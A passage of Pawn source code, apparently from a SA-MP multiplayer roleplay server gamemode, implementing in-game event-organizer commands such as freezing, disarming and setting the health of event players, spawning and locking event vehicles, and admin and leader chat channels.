		if(SVEventPosSetShode!=1)return SEM(playerid, "You didn't set event pos.");
		SVEventJoin=true;BazShodeEvent=1;
		new cht[144];
		format(cht, sizeof(cht), "Event Organizer %s opened event's join.", RPName(playerid));
		EventWarn(cht);
		format(cht, sizeof(cht), "The event is now joinable. Enter to event %s{FFFF00} with typing /join", SVEventTitle);
		EventSay(COLOR_YELLOW, cht);
		return 1;
		}
		if(strcmp(cmd, "/elock", true) == 0)
		{
		if(SVEventOrganizer!=playerid) return SEM(playerid,"You are not the Event Organizer.");
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		if(!SVEventJoin)return SEM(playerid, "The join of the event is already locked.");
		SVEventJoin=false;
		new cht[144];
		format(cht, sizeof(cht), "Event Organizer %s closed event's join. Event started officially from now.", RPName(playerid));
		EventWarn(cht);
		format(cht, sizeof(cht), "The event isn't joinable from now. Listen to organizers' instructions.", EventTitle);
		EventSay(COLOR_YELLOW, cht);
		return 1;
		}
		if(strcmp(cmd, "/join", true) == 0)
		{
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		if(EventBannedPlayer[playerid]==1)return SEM(playerid, "You can't join event, you are banned.");
		if(SVEventHamkar==playerid||SVEventOrganizer==playerid)return SEM(playerid, "You can't join event.");
		if(!SVEventJoin)return SEM(playerid, "The join of this event is unavailable now.");
		if(PINFO[playerid][pLevel]<SVEventMinLevel||PINFO[playerid][pLevel]>SVEventMaxLevel)return SEM(playerid, "Your level doesn't match with event's details.");
		if(HasWanted(playerid)||IsAtjail(playerid)||InSleep[playerid]==1||SVEventOrganizer==playerid||SVEventHamkar==playerid)return SEM(playerid, "You can't join event.");
		SetPlayerVirtualWorld(playerid, SVEventVW);SetPlayerInterior(playerid, SVEventIntEx);SetPlayerPos(playerid, SVEventPOS[0], SVEventPOS[1], SVEventPOS[2]);
		SCM(playerid, COLOR_YELLOW, "You are player of this event from now. Follow the instructions.");
		EventPlayerEx[playerid]=1;
		new xs[80];
		format(xs, sizeof(xs), "%s joined the event", RPName(playerid));EventWarn(xs);
		return 1;
		}
		if(strcmp(cmd, "/quitevent", true) == 0)
		{
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		if(!IsEventPlayer(playerid))return SEM(playerid, "You aren't part of current event.");
		LeaveEvent(playerid);
		SCM(playerid, COLOR_YELLOW, "You quited from event.");
		return 1;
		}
		if(strcmp(cmd, "/eplayers", true) == 0)
		{
		if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
	    new longstr[256],str[32];
	    format(longstr,sizeof(longstr),"Name\t\tLevel");
	    for(new i=0;i<MAX_PLAYERS;i++)
	    {
		    if(IsPlayerConnected(i)&&IsEventPlayer(i))
		    {
	            format(str,sizeof(str),"\n%s(%d)\t\t\t%i", RPName(i), i, PINFO[i][pLevel]);
	            strcat(longstr,str);
		    }
	    }
	    ShowPlayerDialog(playerid,85,DIALOG_STYLE_TABLIST_HEADERS,"Event Players:",longstr,"OK","");
		return 1;
		}
		if(strcmp(cmd, "/efreeze", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
			tmp=strtok(cmdtext, idx);
			if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /efreeze <Playerid/PartOfName(-1 for all)>");
			new taraf=ReturnUser6(tmp), cht[144];
			if(strval(tmp)==-1)taraf=-1;
			if(taraf!=-1&&!IsPlayerConnected(taraf))return SEM(playerid, "That player isn't connected.");
			if((taraf!=-1)&&(!IsEventPlayer(taraf)))return SEM(playerid, "This player isn't part of event.");
			if(taraf!=-1)
			{
				TogglePlayerControllable(taraf, 0);
			    OnFreeze[taraf] = 1;
			    format(cht, sizeof(cht), "Event Organizer %s has frozen %s", RPName(playerid), RPName(taraf));
			    EventWarn(cht);
			    format(cht, sizeof(cht), "Event Organizer %s has frozen you", RPName(playerid));
			    SCM(taraf, COLOR_YELLOW, cht);
			}
			if(taraf==-1)
			{
				ForEachPlayer(i)
				{
					if(IsEventPlayer(i))
					{
						TogglePlayerControllable(i, 0);
			            OnFreeze[i] = 1;
			            format(cht, sizeof(cht), "Event Organizer %s has frozen you", RPName(playerid));
			            SCM(i, COLOR_YELLOW, cht);
					}
				}
				format(cht, sizeof(cht), "Event Organizer %s has frozen all event players", RPName(playerid));
			    EventWarn(cht);
			}
			return 1;
		}
		if(strcmp(cmd, "/eufreeze", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
			tmp=strtok(cmdtext, idx);
			if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /eufreeze <Playerid/PartOfName(-1 for all)>");
			new taraf=ReturnUser6(tmp), cht[144];
			if(strval(tmp)==-1)taraf=-1;
			if(taraf!=-1&&!IsPlayerConnected(taraf))return SEM(playerid, "That player isn't connected.");
			if((taraf!=-1)&&(!IsEventPlayer(taraf)))return SEM(playerid, "This player isn't part of event.");
			if(taraf!=-1)
			{
				TogglePlayerControllable(taraf, 1);
			    OnFreeze[taraf] = 0;
			    format(cht, sizeof(cht), "Event Organizer %s has unfrozen %s", RPName(playerid), RPName(taraf));
			    EventWarn(cht);
			    format(cht, sizeof(cht), "Event Organizer %s has unfrozen you", RPName(playerid));
			    SCM(taraf, COLOR_YELLOW, cht);
			}
			if(taraf==-1)
			{
				ForEachPlayer(i)
				{
					if(IsEventPlayer(i))
					{
						TogglePlayerControllable(i, 1);
			            OnFreeze[i] = 0;
			            format(cht, sizeof(cht), "Event Organizer %s has unfrozen you", RPName(playerid));
			            SCM(i, COLOR_YELLOW, cht);
					}
				}
				format(cht, sizeof(cht), "Event Organizer %s has unfrozen all event players", RPName(playerid));
			    EventWarn(cht);
			}
			return 1;
		}
		if(strcmp(cmd, "/edisarm", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /edisarm <Playerid/PartOfName(-1 for all)>");
			new taraf = ReturnUser6(tmp);
			if(strval(tmp)==-1)taraf=-1;
			if(taraf!=-1&&!IsPlayerConnected(taraf))return SEM(playerid, "That player isn't connected.");
			if((taraf!=-1)&&(!IsEventPlayer(taraf)))return SEM(playerid, "This player isn't part of event.");
			new cht[144];
			if(taraf!=-1)
			{
				format(cht, sizeof(cht), "Event Organizer %s has disarmed you.", RPName(playerid));
			    SCM(taraf, COLOR_YELLOW, cht);
			    ResetPlayerKolang(taraf);
			    format(cht, sizeof(cht), "Event Organizer %s has disarmed %s", RPName(playerid), RPName(taraf));
			    EventWarn(cht);
			}
            if(taraf==-1)
            {
            	ForEachPlayer(i)
            	{
            		if(IsEventPlayer(i))
            		{
            			format(cht, sizeof(cht), "Event Organizer %s has disarmed you.", RPName(playerid));
			            SCM(i, COLOR_YELLOW, cht);
			            ResetPlayerKolang(i);
            		}
            	}
            	format(cht, sizeof(cht), "Event Organizer %s has disarmed all event players", RPName(playerid));
			    EventWarn(cht);
            }
			return 1;
		}
		if(strcmp(cmd, "/esethp", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /esethp <Playerid/PartOfName(-1 for all)> <Health>");
			new taraf=ReturnUser6(tmp);
			if(strval(tmp)==-1)taraf=-1;
			if(taraf!=-1&&!IsPlayerConnected(taraf))return SEM(playerid, "That player isn't connected.");
			if((taraf!=-1)&&(taraf!=SVEventOrganizer&&taraf!=SVEventHamkar)&&(!IsEventPlayer(taraf)))return SEM(playerid, "This player isn't part of event.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /esethp <Playerid/PartOfName(-1 for all)> <Health>");
			new health=strval(tmp);
			new cht[144];
			if(health<0||health>150)return SEM(playerid, "Invalid health entered.");
			if(taraf!=-1)
			{
				SetPlayerKoon(true, playerid, health);
                format(cht, sizeof(cht), "Event Organizer %s has set %s's health to %d", RPName(playerid), RPName(taraf), health);
                EventWarn(cht);
                format(cht, sizeof(cht), "Event Organizer %s has set your health to %d", RPName(playerid), health);
                SCM(taraf, COLOR_YELLOW, cht);
			}
			if(taraf==-1)
			{
				ForEachPlayer(i)
				{
					if(IsEventPlayer(i))
					{
						SetPlayerKoon(true, i, health);
                        format(cht, sizeof(cht), "Event Organizer %s has set your health to %d", RPName(playerid), health);
                        SCM(i, COLOR_YELLOW, cht);
					}
				}
				format(cht, sizeof(cht), "Event Organizer %s has set all event players' health to %d", RPName(playerid), health);
                EventWarn(cht);
			}
			return 1;
		}
		if(strcmp(cmd, "/esetarmour", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		    if(SVEventType!=1&&SVEventType!=2&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /esetarmour <Playerid/PartOfName(-1 for all)> <armour>");
			new taraf=ReturnUser6(tmp);
			if(strval(tmp)==-1)taraf=-1;
			if(taraf!=-1&&!IsPlayerConnected(taraf))return SEM(playerid, "That player isn't connected.");
			if((taraf!=-1)&&(taraf!=SVEventOrganizer&&taraf!=SVEventHamkar)&&(!IsEventPlayer(taraf)))return SEM(playerid, "This player isn't part of event.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /esetarmour <Playerid/PartOfName(-1 for all)> <armour>");
			new armour=strval(tmp);
			new cht[144];
			if(armour<0||armour>100)return SEM(playerid, "Invalid armour entered.");
			if(taraf!=-1)
			{
				SetPlayerArmour(playerid, armour);
                format(cht, sizeof(cht), "Event Organizer %s has set %s's armour to %d", RPName(playerid), RPName(taraf), armour);
                EventWarn(cht);
                format(cht, sizeof(cht), "Event Organizer %s has set your armour to %d", RPName(playerid), armour);
                SCM(taraf, COLOR_YELLOW, cht);
			}
			if(taraf==-1)
			{
				ForEachPlayer(i)
				{
					if(IsEventPlayer(i))
					{
						SetPlayerArmour(i, armour);
                        format(cht, sizeof(cht), "Event Organizer %s has set your armour to %d", RPName(playerid), armour);
                        SCM(i, COLOR_YELLOW, cht);
					}
				}
				format(cht, sizeof(cht), "Event Organizer %s has set all event players' armour to %d", RPName(playerid), armour);
                EventWarn(cht);
			}
			return 1;
		}
		if(strcmp(cmd, "/eban", true) == 0)
		{
		if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /eban <Playerid/PartOfName>");
		new taraf=ReturnUser6(tmp);
		if(IsPlayerConnected(taraf))return SEM(playerid, "That player isn't connected.");
		new xs[100];
		if(EventBannedPlayer[taraf]==0)
		{
		if(!IsEventPlayer(taraf))return SEM(playerid, "This player isn't part of your event.");
		EventBannedPlayer[taraf]=1;
		EventPlayerEx[playerid]=0;
		format(xs, sizeof(xs), "%s has banned %s", RPName(playerid), RPName(taraf));EventWarn(xs);
		TogglePlayerControllable(taraf, 1);ResetPlayerKolang(taraf);SetSpawnKol(taraf);SpawnPlayer(taraf);
		format(xs, sizeof(xs), "You got banned from event by %s", RPName(playerid));
		SCM(taraf, COLOR_YELLOW, xs);
		}
		if(EventBannedPlayer[taraf]==1)
		{
		EventBannedPlayer[taraf]=0;
		format(xs, sizeof(xs), "%s has unbanned %s", RPName(playerid), RPName(taraf));EventWarn(xs);
		format(xs, sizeof(xs), "You got unbanned from event by %s", RPName(playerid));
		SCM(taraf, COLOR_YELLOW, xs);
		}
		return 1;
        }
		if(!strcmp(cmd, "/edva", true))
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		    if(SVEventType!=3&&SVEventType!=4&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /edva <Distance(FLOAT)(-1 for all)>");
			new Float:dis = floatstr(tmp);
			if(dis<0.0&&dis!=-1)return SEM(playerid, "Invalid distance.");
			new Float:ui[6];
			GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
			new xs[144];
			if(dis!=-1)
			{
						for(new a = 0;a<EventCar;a++)
						{
					GetVehiclePos(EventCars[a], ui[3], ui[4], ui[5]);
					if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
					{
							if(EventCars[a] != 0 && OwnedMashin[EventCars[a]] != 1 && OwnedMashin_2[EventCars[a]] != 1)
							{
								DestroyVehicle(EventCars[a]);
								EventCars[a] = 0;
								VehicleTurbo[EventCars[a]] = 0;
								vJump[EventCars[a]] = 0;
                                if(VehLinkDare[EventCars[a]] == 1)
                                {
                                    VehLinkDare[EventCars[a]] = 0;
                                    VehLink[EventCars[a]][0] = '\0';
                                }
							}
						}
					}
			format(xs, sizeof(xs), "Event Organizer %s DVA all vehicles in %.2f distance.", RPName(playerid), dis);
			EventWarn(xs);
		    }
		    if(dis==-1)
		    {
			    		for(new a = 0;a<EventCar;a++)
						{
							if(EventCars[a] != 0 && OwnedMashin[EventCars[a]] != 1 && OwnedMashin_2[EventCars[a]] != 1)
							{
								DestroyVehicle(EventCars[a]);
								EventCars[a] = 0;
								VehicleTurbo[EventCars[a]] = 0;
								vJump[EventCars[a]] = 0;
                                if(VehLinkDare[EventCars[a]] == 1)
                                {
                                    VehLinkDare[EventCars[a]] = 0;
                                    VehLink[EventCars[a]][0] = '\0';
                                }
							}
						}
			    format(xs, sizeof(xs), "Event Organizer %s DVA all vehicles.", RPName(playerid));
			    EventWarn(xs);
		    }
		   return 1;
		}
		if(strcmp(cmd, "/egoto", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /egoto <Playerid/PartOfName>");
			new taraf=ReturnUser6(tmp);
			if(!IsPlayerConnected(taraf))return SEM(playerid, "That player isn't connected.");
			if((taraf!=SVEventOrganizer&&taraf!=SVEventHamkar)&&(!IsEventPlayer(taraf)))return SEM(playerid, "This player isn't part of event.");
			new Float:px[3];
			GetPlayerPos(taraf, px[0], px[1], px[2]);
			SetPlayerInterior(playerid, GetPlayerInterior(taraf));SetPlayerVirtualWorld(playerid, GetPlayerVirtualWorld(taraf));
			SetPlayerPos(playerid,px[0]+0.3,px[1]+0.3,px[2]);
			return 1;
		}
		if(strcmp(cmd, "/eveh", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		    if(SVEventType!=3&&SVEventType!=4&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
			if(IsPlayerInAnyVehicle(playerid)) return SEM(playerid,"You cannot create a vehicle when you are in a vehicle.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /eveh <ModelName/ID> <ColorID1> <ColorID2>");
			new car;
			if(IsNumeric(tmp))
			{
				car = strval(tmp);
				if(car < 400 || car > 615) return SEM(playerid, "Vehicle number should between 400 to 611.");
			}
			else
			{
				for(new i = 0;i<212;i++)
				{
					if(strfind(aVehicleNames[i], tmp, true) != -1)
					{
						car = i+400;
					}
				}
			}
			if(car == 0) return SEM(playerid, "Invalid vehicle name entered.");
			if(1+GetVehiclePoolSize()>MAX_VEHICLES)return SEM(playerid,"Error: Nobody can create vehicle now.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /eveh <ModelName/ID> <ColorID1> <ColorID2>");
			new color1;
			color1 = strval(tmp);
			if(color1 < 0 || color1 > 255) return SEM(playerid, "Vehicle color should between 0 to 255.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /eveh <ModelName/ID> <ColorID1> <ColorID2>");
			new color2;
			color2 = strval(tmp);
			if(color2 < 0 || color2 > 255) return SEM(playerid, "Vehicle color should between 0 to 255.");
			new Float:X,Float:Y,Float:Z,Float:angle;
			GetPlayerFacingAngle(playerid,angle);
			GetPlayerPos(playerid, X,Y,Z);
			new carid = CreateVehicle(car, X,Y,Z+1, angle, color1, color2, -1);
			new vehicles = GetVehicleModel(carid) - 400;
		    new adm[114];
		    format(adm, sizeof(adm), "{FFFFFF}Vehicle %s with id %d created by %s.", aVehicleNames[vehicles], carid, PlayerInfo[playerid][pName]);
			AdminWarn(adm);
			format(adm, 144, "Vehicle {ffffff}%d{ff6347} spawned.",carid);
			SendMessage(playerid, COLOR_LIGHTRED, adm);
			SetVehicleNumberPlate(carid, "{FFFF00}Event Veh");
			EventCars[EventCar] = carid;
			EventCar ++;
			LinkVehicleToInterior(carid, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid, GetPlayerVirtualWorld(playerid));
			PutPlayerInVehicle(playerid, carid, 0);
			return 1;
		}
		if(strcmp(cmd, "/elockengine", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		    if(SVEventType!=3&&SVEventType!=4&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /elockengine <Distance(FLOAT)(-1 for all)>");
			new Float:dis = floatstr(tmp);
			if(dis<0.0&&dis!=-1)return SEM(playerid, "Invalid distance entered.");
			new xs[144];
			new Float:ui[6];
			GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
			if(dis!=-1)
			{
            for(new a = 0;a<EventCar;a++)
            {
					GetVehiclePos(EventCars[a], ui[3], ui[4], ui[5]);
					if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
					{
						LockEngine[EventCars[a]] = true;
					}
			}
			format(xs, sizeof(xs), "Event Organizer %s has locked the engine of the all vehicles in %.2f distance.", RPName(playerid), dis);
			EventWarn(xs);
		    }
		    if(dis==-1)
		    {
                for(new a = 0;a<EventCar;a++)
                {
						LockEngine[EventCars[a]] = true;
			    }
			    format(xs, sizeof(xs), "Event Organizer %s has locked the engine of the all vehicles.", RPName(playerid));
			    EventWarn(xs);
		    }
		    return 1;
		}
		if(strcmp(cmd, "/eunlockengine", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		    if(SVEventType!=3&&SVEventType!=4&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /eunlockengine <Distance(FLOAT)(-1 for all)>");
			new Float:dis = floatstr(tmp);
			if(dis<0.0&&dis!=-1)return SEM(playerid, "Invalid distance entered.");
			new xs[144];
			new Float:ui[6];
			GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
			if(dis!=-1)
			{
            for(new a = 0;a<EventCar;a++)
            {
					GetVehiclePos(EventCars[a], ui[3], ui[4], ui[5]);
					if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
					{
						LockEngine[EventCars[a]] = false;
					}
			}
			format(xs, sizeof(xs), "Event Organizer %s has unlocked the engine of the all vehicles in %.2f distance.", RPName(playerid), dis);
			EventWarn(xs);
		    }
		    if(dis==-1)
		    {
                for(new a = 0;a<EventCar;a++)
                {
						LockEngine[EventCars[a]] = false;
			    }
			    format(xs, sizeof(xs), "Event Organizer %s has unlocked the engine of the all vehicles.", RPName(playerid));
			    EventWarn(xs);
		    }
		    return 1;
		}
		if(strcmp(cmd, "/elockcar", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		    if(SVEventType!=3&&SVEventType!=4&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
            tmp = strtok(cmdtext, idx);
	        if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /elockcar <Distance(FLOAT)(-1 for all)>");
	        new Float:dis = floatstr(tmp);
	        if(dis<0.1&&dis!=-1)return Error(playerid, "Error: Invalid distance entered.")
	        new Float:ui[6], wrn[144], counts=0;
	        GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
	        if(dis!=-1)
	        {
            for(new a = 0;a<EventCar;a++)
            {
	        GetVehiclePos(EventCars[a], ui[3], ui[4], ui[5]);
	        if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
	        {
	        counts++;
	        ForEachPlayer(b){SetVehicleParamsForPlayer(EventCars[a],b, 0, 1);}
	        }
	        }
	        format(wrn, sizeof(wrn), "Event Organizer %s has locked all vehicles in %.2f distance (%s vehicles locked)",RPName(playerid), dis, FormatNumber(counts));
            EventWarn(wrn);
            }
            if(dis==-1)
            {
            for(new a = 0;a<EventCar;a++)
            {
            counts++;
            ForEachPlayer(b){SetVehicleParamsForPlayer(EventCars[a],b, 0, 1);}
            }
            format(wrn, sizeof(wrn), "Event Organizer %s has locked all vehicles (%s vehicles locked)",RPName(playerid), FormatNumber(counts));
            EventWarn(wrn);
            }
            return 1;
        }
		if(strcmp(cmd, "/eunlockcar", true) == 0)
		{
		    if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		    if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		    if(SVEventType!=3&&SVEventType!=4&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
            tmp = strtok(cmdtext, idx);
	        if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /eunlockcar <Distance(FLOAT)(-1 for all)>");
	        new Float:dis = floatstr(tmp);
	        if(dis<0.1&&dis!=-1)return Error(playerid, "Error: Invalid distance entered.")
	        new Float:ui[6], wrn[144], counts=0;
	        GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
	        if(dis!=-1)
	        {
            for(new a = 0;a<EventCar;a++)
            {
	        GetVehiclePos(EventCars[a], ui[3], ui[4], ui[5]);
	        if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
	        {
	        counts++;
	        ForEachPlayer(b){SetVehicleParamsForPlayer(EventCars[a],b, 0, 0);}
	        }
	        }
	        format(wrn, sizeof(wrn), "Event Organizer %s has unlocked all vehicles in %.2f distance (%s vehicles unlocked)",RPName(playerid), dis, FormatNumber(counts));
            EventWarn(wrn);
            }
            if(dis==-1)
            {
            for(new a = 0;a<EventCar;a++)
            {
            counts++;
            ForEachPlayer(b){SetVehicleParamsForPlayer(EventCars[a],b, 0, 0);}
            }
            format(wrn, sizeof(wrn), "Event Organizer %s has unlocked all vehicles (%s vehicles unlocked)",RPName(playerid), FormatNumber(counts));
            EventWarn(wrn);
            }
            return 1;
        }
        if(strcmp(cmd, "/eventhelp", true) == 0)
        {
        SCM(playerid, COLOR_CRS4, "/e, /egg, /eveh, /edva, /efreeze, /eunfreeze, /edisarm, /elockengine, /eunlockengine, /quitevent, /elock");
        SCM(playerid, COLOR_CRS5, "/elockcar, /eunlockcar, /eban, /egoto, /esethp, /esetarmour, /eplayers, /esetpos, /join, /eunlock, /efv");
        return 1;
        }
			if(strcmp(cmd, "/efv", true) == 0)
			{
		        if(SVEventOrganizer!=playerid&&SVEventHamkar!=playerid&&PINFO[playerid][pAdmin]<1) return SEM(playerid,"You are not the Event Organizer.");
		        if(!IsThereEvent)return SEM(playerid, "There isn't any ongoing event.");
		        if(SVEventType!=3&&SVEventType!=4&&SVEventType!=5)return SEM(playerid, "In this type of event, you can't use this command.");
		        tmp = strtok(cmdtext, idx);
		        new asx=strval(tmp);
		        if(asx==-1)
		        {
                    for(new a = 0;a<EventCar;a++)
                    {
                    	RepairVehicle(EventCars[a]);
                    }
		        }
		        else
		        {
		        	if(!IsPlayerInAnyVehicle(playerid))return SEM(playerid, "You must sit in a vehicle.");
		        	RepairVehicle(GetPlayerVehicleID(playerid));
		        }
				return 1;
			}
		if(strcmp(cmd, "/adminchat", true) == 0 || strcmp(cmd, "/a", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result)) return SCM(playerid,COL_SYN,"Syntax: /a <Text>");
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				new arank[64];
				if(PlayerInfo[playerid][pAdmin] == 1 && ANickDare[playerid] == 0) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 2 && ANickDare[playerid] == 0) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 3 && ANickDare[playerid] == 0) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 4 && ANickDare[playerid] == 0) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 5 && ANickDare[playerid] == 0) { arank = "Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 6 && ANickDare[playerid] == 0) { arank = "Supervisor"; }
				else if(PlayerInfo[playerid][pAdmin] == 7 && ANickDare[playerid] == 0) { arank = "Hoster"; }
				else if(PlayerInfo[playerid][pAdmin] == 8 && ANickDare[playerid] == 0) { arank = "Hoster"; }
				else if(PlayerInfo[playerid][pAdmin] == 9 && ANickDare[playerid] == 0) { arank = "Hoster"; }
				else if(PlayerInfo[playerid][pAdmin] == 10 && ANickDare[playerid] == 0) { arank = "CM Assistant"; } //sssss
				else if(PlayerInfo[playerid][pAdmin] == 11 && ANickDare[playerid] == 0) { arank = "CM Manager"; }
				else if(PlayerInfo[playerid][pAdmin] == 12 && ANickDare[playerid] == 0) { arank = "CM Founder"; }
				else if(PlayerInfo[playerid][pAdmin] == 13 && ANickDare[playerid] == 0) { arank = "CM Scripter"; }
				else if(PlayerInfo[playerid][pSponser] == 1) { arank = "CM Sponsor"; }
				else { arank = "CM Founder"; }
				if(ANickDare[playerid] == 1) { strcpy(arank,ANick[playerid],30); }
				format(string, sizeof(string), " %s {33CCFF}%s:{FFFFFF} %s {E04343}", arank, sendername, result);
				if (PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					SendAAAMessage(COLOR_AAA, string);
					printf("Admin %s: %s", sendername, result);
					WriteAdminLog(string);
				}
			}
			return 1;
		}
	//                     New /LC by Sina ;))
	if(strcmp(cmd, "/leaderchat", true) == 0 || strcmp(cmd, "/lc", true) == 0)
		{
			if(PINFO[playerid][pLeader] < 1 && PINFO[playerid][pAdmin] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Only leaders can use this command.");
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
